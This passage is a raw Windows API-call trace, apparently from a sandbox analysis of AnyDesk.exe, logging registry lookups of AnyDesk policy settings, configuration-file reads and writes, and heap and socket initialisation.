phkResult=0x324344*=0x0) returned 0x2 [0190.335] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.permissions.userpointer", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.335] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.335] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.permissions.userpointer", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.335] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.336] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.changeableinacceptwindow.userpointer", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.336] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.336] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.changeableinacceptwindow.userpointer", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.336] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.336] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.changeableinacceptwindow.userpointer", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.336] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.336] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.changeableinacceptwindow.userpointer", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.336] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.336] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.showinacceptwindow", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.336] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.336] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.showinacceptwindow", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.337] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.337] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.showinacceptwindow", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.337] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.337] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.showinacceptwindow", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.337] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.337] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.canswitchprofile", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.337] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.337] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.canswitchprofile", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.337] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.337] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.canswitchprofile", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.337] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.337] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.canswitchprofile", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.338] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.338] CreateFileW (lpFileName="C:\\ProgramData\\AnyDesk\\system.conf" (normalized: "c:\\programdata\\anydesk\\system.conf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0190.338] LockFileEx (in: hFile=0x198, dwFlags=0x2, dwReserved=0x0, nNumberOfBytesToLockLow=0xffffffff, nNumberOfBytesToLockHigh=0xffffffff, lpOverlapped=0x324fb0 | out: lpOverlapped=0x324fb0) returned 1 [0190.338] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe132a8 [0190.338] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4a) returned 0xe12ec0 [0190.338] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe13290 [0190.338] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x72) returned 0xe26998 [0190.338] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe13260 [0190.338] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x86) returned 0xe05420 [0190.338] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe13230 [0190.338] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe0f3d8 [0190.338] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe13218 [0190.338] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe12c58 [0190.338] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe13278 [0190.338] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe32038 [0190.338] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe132c0 [0190.338] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4e) returned 0xe11f48 [0190.339] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe132d8 [0190.339] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3e) returned 0xe10870 [0190.339] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x157) returned 0xe36768 [0190.339] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe0eda0 [0190.339] GetLastError () returned 0xb7 [0190.339] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.339] SetEndOfFile (hFile=0x198) returned 1 [0190.340] WriteFile (in: hFile=0x198, lpBuffer=0xe36768*, nNumberOfBytesToWrite=0x157, lpNumberOfBytesWritten=0x324f70, lpOverlapped=0x0 | out: lpBuffer=0xe36768*, lpNumberOfBytesWritten=0x324f70*=0x157, lpOverlapped=0x0) returned 1 [0190.341] UnlockFileEx (in: hFile=0x198, dwReserved=0x0, nNumberOfBytesToUnlockLow=0xffffffff, nNumberOfBytesToUnlockHigh=0xffffffff, lpOverlapped=0x324f48 | out: lpOverlapped=0x324f48) returned 1 [0190.341] CloseHandle (hObject=0x198) returned 1 [0190.342] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2f718 | out: hHeap=0x3b0000) returned 1 [0190.342] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0bce8 [0190.342] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bce8 | out: hHeap=0x3b0000) returned 1 [0190.342] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0bce8 [0190.342] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324ef8 | out: phkResult=0x324ef8*=0x0) returned 0x2 [0190.342] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0bd08 [0190.342] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe32ef8 [0190.342] RegQueryInfoKeyW (in: hKey=0x0, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x324ec0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x324ec4, lpcbMaxValueNameLen=0x324ed0, lpcbMaxValueLen=0x324ecc, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x324e94 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x324ec0*=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x324ec4*=0x0, lpcbMaxValueNameLen=0x324ed0, lpcbMaxValueLen=0x324ecc, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x324e94) returned 0x6 [0190.343] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32ef8 | out: hHeap=0x3b0000) returned 1 [0190.626] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324ef8 | out: phkResult=0x324ef8*=0x0) returned 0x2 [0190.626] GetCurrentProcess () returned 0xffffffff [0190.626] GetProcessId (Process=0xffffffff) returned 0x994 [0190.626] ProcessIdToSessionId (in: dwProcessId=0x994, pSessionId=0x324f10 | out: pSessionId=0x324f10) returned 1 [0190.626] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0bd28 [0190.626] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe32ef8 [0190.626] RegQueryInfoKeyW (in: hKey=0x0, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x324ec0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x324ec4, lpcbMaxValueNameLen=0x324ed0, lpcbMaxValueLen=0x324ecc, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x324e94 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x324ec0*=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x324ec4*=0x0, lpcbMaxValueNameLen=0x324ed0, lpcbMaxValueLen=0x324ecc, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x324e94) returned 0x6 [0190.627] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32ef8 | out: hHeap=0x3b0000) returned 1 [0190.627] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bba8 | out: hHeap=0x3b0000) returned 1 [0190.627] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bb88 | out: hHeap=0x3b0000) returned 1 [0190.627] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bce8 | out: hHeap=0x3b0000) returned 1 [0190.627] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0bce8 [0190.627] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0bb88 [0190.627] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x48) returned 0xe2f718 [0190.627] GetTickCount () returned 0x18800c3 [0190.627] CreateFileW (lpFileName="C:\\ProgramData\\AnyDesk\\service.conf" (normalized: "c:\\programdata\\anydesk\\service.conf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0190.627] LockFileEx (in: hFile=0x1a0, dwFlags=0x0, dwReserved=0x0, nNumberOfBytesToLockLow=0xffffffff, nNumberOfBytesToLockHigh=0xffffffff, lpOverlapped=0x324ea4 | out: lpOverlapped=0x324ea4) returned 1 [0190.627] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x324ec0 | out: lpFileSize=0x324ec0*=0) returned 1 [0190.627] UnlockFileEx (in: hFile=0x1a0, dwReserved=0x0, nNumberOfBytesToUnlockLow=0xffffffff, nNumberOfBytesToUnlockHigh=0xffffffff, lpOverlapped=0x324e60 | out: lpOverlapped=0x324e60) returned 1 [0190.628] CloseHandle (hObject=0x1a0) returned 1 [0190.628] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2f718 | out: hHeap=0x3b0000) returned 1 [0190.628] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bc48 | out: hHeap=0x3b0000) returned 1 [0190.628] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bce8 | out: hHeap=0x3b0000) returned 1 [0190.628] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0bce8 [0190.628] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0bc48 [0190.628] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x46) returned 0xe2f718 [0190.628] GetTickCount () returned 0x18800c3 [0190.628] CreateFileW (lpFileName="C:\\ProgramData\\AnyDesk\\system.conf" (normalized: "c:\\programdata\\anydesk\\system.conf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0190.629] LockFileEx (in: hFile=0x1a0, dwFlags=0x0, dwReserved=0x0, nNumberOfBytesToLockLow=0xffffffff, nNumberOfBytesToLockHigh=0xffffffff, lpOverlapped=0x324ea4 | out: lpOverlapped=0x324ea4) returned 1 [0190.629] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x324ec0 | out: lpFileSize=0x324ec0*=343) returned 1 [0190.629] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x157) returned 0xe36768 [0190.629] ReadFile (in: hFile=0x1a0, lpBuffer=0xe36768, nNumberOfBytesToRead=0x157, lpNumberOfBytesRead=0x324ed4, lpOverlapped=0x0 | out: lpBuffer=0xe36768*, lpNumberOfBytesRead=0x324ed4*=0x157, lpOverlapped=0x0) returned 1 [0190.629] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xe36768, cbMultiByte=343, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 343 [0190.629] UnlockFileEx (in: hFile=0x1a0, dwReserved=0x0, nNumberOfBytesToUnlockLow=0xffffffff, nNumberOfBytesToUnlockHigh=0xffffffff, lpOverlapped=0x324e60 | out: lpOverlapped=0x324e60) returned 1 [0190.629] CloseHandle (hObject=0x1a0) returned 1 [0190.630] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2f718 | out: hHeap=0x3b0000) returned 1 [0190.630] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324ef8 | out: phkResult=0x324ef8*=0x0) returned 0x2 [0190.630] RegQueryInfoKeyW (in: hKey=0x0, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x324ec0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x324ec4, lpcbMaxValueNameLen=0x324ed0, lpcbMaxValueLen=0x324ecc, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x324e94 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x324ec0*=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x324ec4*=0x0, lpcbMaxValueNameLen=0x324ed0, lpcbMaxValueLen=0x324ecc, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x324e94) returned 0x6 [0190.630] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33108 | out: hHeap=0x3b0000) returned 1 [0190.630] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324ef8 | out: phkResult=0x324ef8*=0x0) returned 0x2 [0190.631] GetCurrentProcess () returned 0xffffffff [0190.631] GetProcessId (Process=0xffffffff) returned 0x994 [0190.631] ProcessIdToSessionId (in: dwProcessId=0x994, pSessionId=0x324f10 | out: pSessionId=0x324f10) returned 1 [0190.631] RegQueryInfoKeyW (in: hKey=0x0, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x324ec0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x324ec4, lpcbMaxValueNameLen=0x324ed0, lpcbMaxValueLen=0x324ecc, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x324e94 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x324ec0*=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x324ec4*=0x0, lpcbMaxValueNameLen=0x324ed0, lpcbMaxValueLen=0x324ecc, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x324e94) returned 0x6 [0190.631] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33108 | out: hHeap=0x3b0000) returned 1 [0190.631] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0ba88 | out: hHeap=0x3b0000) returned 1 [0190.631] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0ba68 | out: hHeap=0x3b0000) returned 1 [0190.631] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bce8 | out: hHeap=0x3b0000) returned 1 [0190.631] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0xe104c8, Size=0x80) returned 0xe07808 [0190.632] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0190.632] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x326164 | out: lpWSAData=0x326164) returned 0 [0190.814] QueryPerformanceFrequency (in: lpFrequency=0x3262ec | out: lpFrequency=0x3262ec*=100000000) returned 1 [0190.814] QueryPerformanceCounter (in: lpPerformanceCount=0x3262ec | out: lpPerformanceCount=0x3262ec*=2582983091431) returned 1 [0190.815] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3262e0 | out: lpSystemTimeAsFileTime=0x3262e0*(dwLowDateTime=0x8cb87dd0, dwHighDateTime=0x1d8a8f3)) [0190.815] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xff00) returned 0xe37888 [0190.816] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14b) returned 0xe47790 [0190.816] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x108) returned 0xe478e8 [0190.816] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37478 [0190.816] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x1c4 [0190.816] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ff564, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0190.816] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0be48 [0190.816] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ff564, cbMultiByte=-1, lpWideCharStr=0xe0be48, cchWideChar=10 | out: lpWideCharStr="gcapi.dll") returned 10 [0190.816] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37488 [0190.816] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37498 [0190.816] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe374a8 [0190.816] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x324224, nSize=0x1000 | out: lpFilename="C:\\ProgramData\\AnyDesk\\AnyDesk.exe" (normalized: "c:\\programdata\\anydesk\\anydesk.exe")) returned 0x22 [0190.816] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe374a8 | out: hHeap=0x3b0000) returned 1 [0190.816] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x46) returned 0xe2f718 [0190.816] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe142b0 [0190.816] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe37488 | out: hHeap=0x3b0000) returned 1 [0190.816] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe0be68 [0190.816] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe37498 | out: hHeap=0x3b0000) returned 1 [0190.816] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe0f480 [0190.817] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2f718 | out: hHeap=0x3b0000) returned 1 [0190.817] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0be68 | out: hHeap=0x3b0000) returned 1 [0190.817] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe142b0 | out: hHeap=0x3b0000) returned 1 [0190.817] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15dad60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0190.817] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe37498 [0190.817] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15dad60, cbMultiByte=-1, lpWideCharStr=0xe37498, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0190.817] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe142b0 [0190.817] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe37498 | out: hHeap=0x3b0000) returned 1 [0190.817] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe2f718 [0190.817] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe142b0 | out: hHeap=0x3b0000) returned 1 [0190.818] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0f480 | out: hHeap=0x3b0000) returned 1 [0190.818] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0be48 | out: hHeap=0x3b0000) returned 1 [0190.818] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe37478 | out: hHeap=0x3b0000) returned 1 [0190.818] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe2f808 [0190.818] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe37010 [0190.818] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe2f8a8 [0190.818] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2f718 | out: hHeap=0x3b0000) returned 1 [0190.818] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37478 [0190.819] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37498 [0190.819] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37488 [0190.819] GetLocaleInfoW (in: Locale=0x400, LCType=0x1002, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 14 [0190.819] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe113e8 [0190.819] GetLocaleInfoW (in: Locale=0x400, LCType=0x1002, lpLCData=0xe113e8, cchData=14 | out: lpLCData="United States") returned 14 [0190.819] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe114d8 [0190.819] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe37488 | out: hHeap=0x3b0000) returned 1 [0190.819] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe113e8 | out: hHeap=0x3b0000) returned 1 [0190.819] GetCurrentProcess () returned 0xffffffff [0190.819] GetProcessId (Process=0xffffffff) returned 0x994 [0190.819] ProcessIdToSessionId (in: dwProcessId=0x994, pSessionId=0x326280 | out: pSessionId=0x326280) returned 1 [0190.819] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37488 [0190.819] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe374a8 [0190.819] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe374b8 [0190.819] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x1c8 [0190.820] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x1cc [0190.820] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x1d0 [0190.820] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xab) returned 0xe17610 [0190.820] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1b) returned 0xe113e8 [0190.820] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x1d4 [0190.820] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe374c8 [0190.820] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe374d8 [0190.820] RtlAllocateHeap (HeapHandle=0x3b0000, 